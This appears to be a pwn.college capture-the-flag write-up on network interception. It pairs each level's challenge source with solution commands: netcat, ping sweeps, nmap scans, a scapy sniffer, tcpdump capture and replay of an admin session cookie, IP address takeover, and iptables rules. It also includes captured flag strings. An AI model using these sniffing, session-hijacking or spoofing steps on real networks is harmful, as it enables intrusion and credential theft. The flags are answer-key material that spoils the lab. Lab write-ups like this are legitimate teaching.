Intercepting Communication
Connect
Source code
#!/usr/bin/exec-suid --real -- /usr/bin/python -I
import os
import socket
import psutil
from dojjail import Host, Network
flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())
class ServerHost(Host):
def entrypoint(self):
server_socket = socket.socket()
server_socket.bind(("0.0.0.0", 31337))
server_socket.listen()
while True:
try:
connection, _ = server_socket.accept()
connection.sendall(flag.encode())
connection.close()
except ConnectionError:
continue
user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
server_host = ServerHost("ip-10-0-0-2")
network = Network(hosts={user_host: "10.0.0.1", server_host: "10.0.0.2"}, subnet="10.0.0.0/24")
network.run()
user_host.interactive(environ=parent_process.environ())
In this challegne, we have to connect to 10.0.0.2 on port 31337.
hacker@intercepting-communication~connect:/$ /challenge/run
root@ip-10-0-0-1:/#
root@ip-10-0-0-1:/# nc 10.0.0.2 31337
pwn.college{wbLEvztIH-MlyXZbTzR3-bhhAwh.dlTNzMDL4ITM0EzW}
Send
Source code
#!/usr/bin/exec-suid --real -- /usr/bin/python -I
import os
import socket
import psutil
from dojjail import Host, Network
flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())
class ServerHost(Host):
def entrypoint(self):
server_socket = socket.socket()
server_socket.bind(("0.0.0.0", 31337))
server_socket.listen()
while True:
try:
connection, _ = server_socket.accept()
while True:
client_message = connection.recv(1024).decode()
if not client_message:
break
if client_message == "Hello, World!\n":
connection.sendall(flag.encode())
break
connection.close()
except ConnectionError:
continue
user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
server_host = ServerHost("ip-10-0-0-2")
network = Network(hosts={user_host: "10.0.0.1", server_host: "10.0.0.2"}, subnet="10.0.0.0/24")
network.run()
user_host.interactive(environ=parent_process.environ())
This time we have to send a message containing "Hello, World!"" to the remote host 10.0.0.2 on port 31337.
root@ip-10-0-0-1:/# nc 10.0.0.2 31337
Hello, World!
pwn.college{0Hb11t9ijpcF9e3tDdE_3W2fDWk.QX1IDM2EDL4ITM0EzW}
Shutdown
Source code
#!/usr/bin/exec-suid --real -- /usr/bin/python -I
import os
import socket
import psutil
from dojjail import Host, Network
flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())
class ServerHost(Host):
def entrypoint(self):
server_socket = socket.socket()
server_socket.bind(("0.0.0.0", 31337))
server_socket.listen()
while True:
try:
connection, _ = server_socket.accept()
while True:
if not connection.recv(1):
connection.sendall(flag.encode())
break
connection.close()
except ConnectionError:
continue
user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
server_host = ServerHost("ip-10-0-0-2")
network = Network(hosts={user_host: "10.0.0.1", server_host: "10.0.0.2"}, subnet="10.0.0.0/24")
network.run()
user_host.interactive(environ=parent_process.environ())
We can use the -N option in nc so that it shuts down on CTRL-D.
hacker@intercepting-communication~shutdown:/$ /challenge/run
root@ip-10-0-0-1:/#
root@ip-10-0-0-1:/# nc -N 10.0.0.2 31337
pwn.college{M0ZqQvNQkxl9FGLlvmqyp4DYcoE.QX2IDM2EDL4ITM0EzW}
Listen
Source code
#!/usr/bin/exec-suid --real -- /usr/bin/python -I
import os
import socket
import time
import psutil
from dojjail import Host, Network
flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())
class ClientHost(Host):
def entrypoint(self):
while True:
time.sleep(1)
try:
client_socket = socket.socket()
client_socket.connect(("10.0.0.1", 31337))
client_socket.sendall(flag.encode())
client_socket.close()
except (ConnectionError, TimeoutError):
continue
user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
server_host = ClientHost("ip-10-0-0-2")
network = Network(hosts={user_host: "10.0.0.1", server_host: "10.0.0.2"}, subnet="10.0.0.0/24")
network.run()
user_host.interactive(environ=parent_process.environ())
This time we have to listn for a connection on port 31337.
hacker@intercepting-communication~listen:/$ /challenge/run
root@ip-10-0-0-1:/#
root@ip-10-0-0-1:/# nc -l 31337
pwn.college{YEg8RQOuKAnFvEr1BPhIXGL7y1c.dBjNzMDL4ITM0EzW}
Scan 1
Source code
#!/usr/bin/exec-suid --real -- /usr/bin/python -I
import os
import random
import socket
import psutil
from dojjail import Host, Network
flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())
class ServerHost(Host):
def entrypoint(self):
server_socket = socket.socket()
server_socket.bind(("0.0.0.0", 31337))
server_socket.listen()
while True:
try:
connection, _ = server_socket.accept()
connection.sendall(flag.encode())
connection.close()
except ConnectionError:
continue
unknown_ip = f"10.0.0.{random.randint(10, 254)}"
user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
server_host = ServerHost("ip-10-0-0-?")
network = Network(hosts={user_host: "10.0.0.1", server_host: unknown_ip}, subnet="10.0.0.0/24")
network.run()
user_host.interactive(environ=parent_process.environ())
In this challenge, we have to find the host which is up in our subnet, and then connect to it on port 31337.
root@ip-10-0-0-1:/# for i in $(seq 1 255); do ping -c 1 -W 1 10.0.0.$i > /dev/null 2>&1 && echo "10.0.0.$i is up"; done;
-bash: child setpgid (12 to 3746): Operation not permitted
10.0.0.1 is up
10.0.0.73 is up
root@ip-10-0-0-1:/# nc 10.0.0.73 31337
The -c option specifies the number of ECHO_REQUEST packets we send, and the -W option specifies the number of seconds we wait for a response before we timout and move on to the next host.
As we can see, the host 10.0.0.73 is up.
root@ip-10-0-0-1:/# nc 10.0.0.73 31337
pwn.college{w9cEDV2HoE3YNa5SUNShEMZAcfA.dFjNzMDL4ITM0EzW}
Scan 2
Source code
#!/usr/bin/exec-suid --real -- /usr/bin/python -I
import os
import random
import socket
import psutil
from dojjail import Host, Network
flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())
class ServerHost(Host):
def entrypoint(self):
server_socket = socket.socket()
server_socket.bind(("0.0.0.0", 31337))
server_socket.listen()
while True:
try:
connection, _ = server_socket.accept()
connection.sendall(flag.encode())
connection.close()
except ConnectionError:
continue
unknown_ip = f"10.0.{random.randint(1, 255)}.{random.randint(1, 254)}"
user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
server_host = ServerHost("ip-10-0-?-?")
network = Network(hosts={user_host: "10.0.0.1", server_host: unknown_ip}, subnet="10.0.0.0/16")
network.run()
user_host.interactive(environ=parent_process.environ())
This time we have to scan the /16 subnet using NMAP.
root@ip-10-0-0-1:/# nmap -p 31337 10.0.0.0/16 --open -T5 --min-hostgroup 256 --max-hostgroup 1024
Warning: You specified a highly aggressive --min-hostgroup.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-15 15:43 UTC
Nmap scan report for 10.0.220.241
Host is up (0.000055s latency).
PORT STATE SERVICE
31337/tcp open Elite
MAC Address: F6:1C:58:5C:33:86 (Unknown)
Nmap done: 65536 IP addresses (2 hosts up) scanned in 2663.68 seconds
The options used are as follows:
-p: Scan only specified port--open: Show only hosts with ports-T5: Use the most aggressive timing (fastest scan)--min-hostgroup: Specify the minimum number of hosts to be scanned concurrently--max-hostgroup: Specify the maximum number of hosts to be scanned concurrently
root@ip-10-0-0-1:/# nc 10.0.220.241 31337
pwn.college{gpJ1hkttpIQi_Dr58v9ReQoWsFD.dJjNzMDL4ITM0EzW}
Monitor 1
Source code
#!/usr/bin/exec-suid --real -- /usr/bin/python -I
import os
import socket
import time
import psutil
from dojjail import Host, Network
flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())
class ClientHost(Host):
def entrypoint(self):
while True:
time.sleep(1)
try:
client_socket = socket.socket()
client_socket.connect(("10.0.0.2", 31337))
client_socket.sendall(flag.encode())
client_socket.close()
except (ConnectionError, TimeoutError):
continue
class ServerHost(Host):
def entrypoint(self):
server_socket = socket.socket()
server_socket.bind(("0.0.0.0", 31337))
server_socket.listen()
while True:
try:
connection, _ = server_socket.accept()
connection.recv(1024)
connection.close()
except ConnectionError:
continue
user_host = ClientHost("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
server_host = ServerHost("ip-10-0-0-2")
network = Network(hosts={user_host: "10.0.0.1", server_host: "10.0.0.2"}, subnet="10.0.0.0/24")
network.run()
user_host.interactive(environ=parent_process.environ())
For this challenge, we have to observe network traffic using Wireshark, and find the flag.
pwn.college{w5xqRA9L9VqC5wgnj0y2NJf5Zd5.dNjNzMDL4ITM0EzW}
Monitor 2
Source code
#!/usr/bin/exec-suid --real -- /usr/bin/python -I
import os
import socket
import time
import psutil
from dojjail import Host, Network
flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())
class ClientHost(Host):
def entrypoint(self):
while True:
time.sleep(1)
try:
client_socket = socket.socket()
client_socket.connect(("10.0.0.2", 31337))
for c in flag:
client_socket.sendall(c.encode())
time.sleep(1)
client_socket.close()
except (ConnectionError, TimeoutError):
continue
class ServerHost(Host):
def entrypoint(self):
server_socket = socket.socket()
server_socket.bind(("0.0.0.0", 31337))
server_socket.listen()
while True:
try:
connection, _ = server_socket.accept()
while connection.recv(1):
pass
connection.close()
except ConnectionError:
continue
user_host = ClientHost("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
server_host = ServerHost("ip-10-0-0-2")
network = Network(hosts={user_host: "10.0.0.1", server_host: "10.0.0.2"}, subnet="10.0.0.0/24")
network.run()
user_host.interactive(environ=parent_process.environ())
We can use a simple Python script to capture the flag byte by byte and craft the complete flag.
from scapy.all import sniff, Raw
buffer = b""
def handle_packet(packet):
global buffer
if packet.haslayer(Raw):
buffer += bytes(packet[Raw])
if b'pwn.college{' in buffer and b'}' in buffer:
start = buffer.find(b'pwn.college{')
end = buffer.find(b'}', start)
if end != -1:
flag = buffer[start:end+1]
print(f"\nFlag captured: {flag.decode(errors='ignore')}")
exit(0) # stop sniffing
sniff(filter="tcp dst port 31337", prn=handle_packet)
root@ip-10-0-0-1:/# python ~/script.py
pwn.college{IL2Wo8FGsB4o4H7REi29XRi3yzx.dNzNzMDL4ITM0EzW}
Flag captured: pwn.college{I4fIyKwkQexXwA6EYgWabI6ocRG.dRjNzMDL4ITM0EzW}
For some reason it prints some other flag-like string right after we run the script.
This is not an issue in ipython.
In [1]: from scapy.all import sniff, Raw
...:
...: buffer = b""
...:
...: def handle_packet(packet):
...: global buffer
...: if packet.haslayer(Raw):
...: buffer += bytes(packet[Raw])
...: if b'pwn.college{' in buffer and b'}' in buffer:
...: start = buffer.find(b'pwn.college{')
...: end = buffer.find(b'}', start)
...: if end != -1:
...: flag = buffer[start:end+1]
...: print(f"\nFlag captured: {flag.decode(errors='ignore')}")
...: exit(0) # stop sniffing
...:
...: sniff(filter="tcp dst port 31337", prn=handle_packet)
...:
Flag captured: pwn.college{I4fIyKwkQexXwA6EYgWabI6ocRG.dRjNzMDL4ITM0EzW}
Sniffing Cookies
Source code
#!/usr/bin/exec-suid --real -- /usr/bin/python -I
import requests
import random
import psutil
import string
import flask
import time
import sys
import os
from dojjail import Host, Network
flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())
admin_pw = "".join(random.sample(string.ascii_letters*10, 8))
def ensure_new_file_fd(path, flags):
return os.open(path, os.O_CREAT|os.O_EXCL|os.O_WRONLY)
class ClientHost(Host):
def entrypoint(self):
sys.stderr = open("/tmp/client-stderr", "w", opener=ensure_new_file_fd)
time.sleep(2)
s = requests.Session()
assert s.post("http://10.0.0.2/login", data={"username":"admin", "password":admin_pw}).status_code == 200
while True:
try:
s.get("http://10.0.0.2/ping")
time.sleep(1)
except (OSError, ConnectionError, TimeoutError, RequestException):
continue
class ServerHost(Host):
def entrypoint(self):
sys.stderr = open("/tmp/server-output", "w", opener=ensure_new_file_fd)
sys.stdout = sys.stderr
app = flask.Flask("server")
@app.route("/login", methods=["POST"])
def login():
username = flask.request.form.get("username")
password = flask.request.form.get("password")
if username == "admin" and password == admin_pw:
flask.session["user"] = "admin"
return "OK"
flask.abort(403, "NOPE")
@app.route("/ping", methods=["GET"])
def ping():
return "pong"
@app.route("/flag", methods=["GET"])
def get_flag():
if flask.session.get("user", None) != "admin":
flask.abort(403, "NOPE")
return flag
app.secret_key = os.urandom(8)
app.run("0.0.0.0", 80)
client_host = ClientHost("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
server_host = ServerHost("ip-10-0-0-2")
network = Network(hosts={ client_host: "10.0.0.1", server_host: "10.0.0.2" }, subnet="10.0.0.0/24")
network.run()
client_host.interactive(environ=parent_process.environ())
The admin logs in on 10.0.0.1 and gets a session cookie.
This cookie is then used to access the flag from the /flag endpoint on 10.0.0.2.
Let's sniff the cookie.
root@ip-10-0-0-1:/# tcpdump -i any -A 'tcp port 80' | grep --color=always -E 'Cookie:|Set-Cookie:'
-bash: child setpgid (18 to 2439): Operation not permitted
tcpdump: WARNING: any: That device doesn't support promiscuous mode
(Promiscuous mode not supported on the "any" device)
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.aFEq0w.LW1TQizb2Gju_C90GXMogivpu1g
Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.aFEq0w.LW1TQizb2Gju_C90GXMogivpu1g
# ---- snip ----
Now we can use the cookie to get the flag from http://10.0.0.2/flag.
import requests
cookies = {
"session": "eyJ1c2VyIjoiYWRtaW4ifQ.aFEq0w.LW1TQizb2Gju_C90GXMogivpu1g"
}
responnse = requests.get("http://10.0.0.2/flag", cookies = cookies)
print(response.text)
root@ip-10-0-0-1:/# python ~/script.py
pwn.college{s_X0-uEuI4QDPvCeidQDJnjs1ke.QXxQDM2EDL4ITM0EzW}
Network Configuration
Source code
#!/usr/bin/exec-suid --real -- /usr/bin/python -I
import os
import socket
import time
import psutil
from dojjail import Host, Network
flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())
class ClientHost(Host):
def entrypoint(self):
while True:
time.sleep(1)
try:
client_socket = socket.socket()
client_socket.connect(("10.0.0.3", 31337))
client_socket.sendall(flag.encode())
client_socket.close()
except (OSError, ConnectionError, TimeoutError):
continue
user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
client_host = ClientHost("ip-10-0-0-2")
network = Network(hosts={user_host: "10.0.0.1", client_host: "10.0.0.2"}, subnet="10.0.0.0/24")
network.run()
user_host.interactive(environ=parent_process.environ())
In this level, the host at 10.0.0.2 is communicating with the host at 10.0.0.3.
We can essentially become 10.0.0.3 so that we now receive those packets.
root@ip-10-0-0-1:/# ip address add 10.0.0.3/16 dev eth0
We have added the address on our eth0 interface.
Now when we receive an ARP who-has request asking for 10.0.0.3, we can send a is-at reply with our MAC address.
root@ip-10-0-0-1:/# nc -l 31337
pwn.college{Ij1Vds7KoGcIewEjDEEof1oBvmi.dVjNzMDL4ITM0EzW}
Firewall 1
Source code
#!/usr/bin/exec-suid --real -- /usr/bin/python -I
import multiprocessing
import os
import socket
import socketserver
import time
import psutil
from dojjail import Host, Network
flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())
class ServerHost(Host):
def entrypoint(self):
last_connected_time = multiprocessing.Value("d", time.time())
def watchdog():
while True:
with last_connected_time.get_lock():
if time.time() - last_connected_time.value > 2:
print(flag, flush=True)
break
time.sleep(1)
watchdog_process = multiprocessing.Process(target=watchdog)
watchdog_process.daemon = True
watchdog_process.start()
class ForkingTCPHandler(socketserver.BaseRequestHandler):
def handle(self):
with last_connected_time.get_lock():
last_connected_time.value = time.time()
self.request.recv(1024)
with socketserver.ForkingTCPServer(("0.0.0.0", 31337), ForkingTCPHandler) as server:
server.serve_forever()
class ClientHost(Host):
def entrypoint(self):
while True:
time.sleep(1)
try:
with socket.create_connection(("10.0.0.1", 31337)) as client_socket:
client_socket.sendall(b"Hello, World!\n")
except (OSError, ConnectionError, TimeoutError):
continue
user_host = ServerHost("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
client_host = ClientHost("ip-10-0-0-2")
network = Network(hosts={user_host: "10.0.0.1", client_host: "10.0.0.2"}, subnet="10.0.0.0/24")
network.run()
user_host.interactive(environ=parent_process.environ())
This time we have to block traffic on port 31337.
We can do that using the iptabes command.
root@ip-10-0-0-1:/# iptables -A INPUT -p tcp --dport 31337 -j DROP
root@ip-10-0-0-1:/# pwn.college{4gzO4ofTkOcR06polLF21wrKAru.QX4QDM2EDL4ITM0EzW}
Firewall 2
Source code
#!/usr/bin/exec-suid --real -- /usr/bin/python -I
import multiprocessing
import os
import socket
import socketserver
import time
import psutil
from dojjail import Host, Network
flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())
class ServerHost(Host):
def entrypoint(self):
manager = multiprocessing.Manager()
last_connected_times = manager.dict()
def watchdog():
while True:
time.sleep(1)
current_time = time.time()
if current_time - last_connected_times.get("10.0.0.2", current_time) > 2:
continue
if current_time - last_connected_times.get("10.0.0.3", current_time) < 2:
continue
print(flag, flush=True)
break
watchdog_process = multiprocessing.Process(target=watchdog)
watchdog_process.daemon = True
watchdog_process.start()
class ForkingTCPHandler(socketserver.BaseRequestHandler):
def handle(self):
client_ip, _ = self.client_address
last_connected_times[client_ip] = time.time()
self.request.recv(1024)
with socketserver.ForkingTCPServer(("0.0.0.0", 31337), ForkingTCPHandler) as server:
server.serve_forever()
class ClientHost(Host):
def entrypoint(self):
while True:
time.sleep(1)
try:
with socket.create_connection(("10.0.0.1", 31337)) as client_socket:
client_socket.sendall(b"Hello, World!\n")
except (OSError, ConnectionError, TimeoutError):
continue
user_host = ServerHost("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
client_host_1 = ClientHost("ip-10-0-0-2")
client_host_2 = ClientHost("ip-10-0-0-3")
network = Network(hosts={user_host: "10.0.0.1", client_host_1: "10.0.0.2", client_host_2: "10.0.0.3"},
subnet="10.0.0.0/24")
network.run()
user_host.interactive(environ=parent_process.environ())
In this challenge, we have to only block traffic from 10.0.0.3 on 31337.
root@ip-10-0-0-1:/# iptables -A INPUT -p tcp -s 10.0.0.3 --dport 31337 -j DROP
root@ip-10-0-0-1:/# pwn.college{k1UUolaE-mtHzfAEzyJtlXZsqNT.QX5QDM2EDL4ITM0EzW}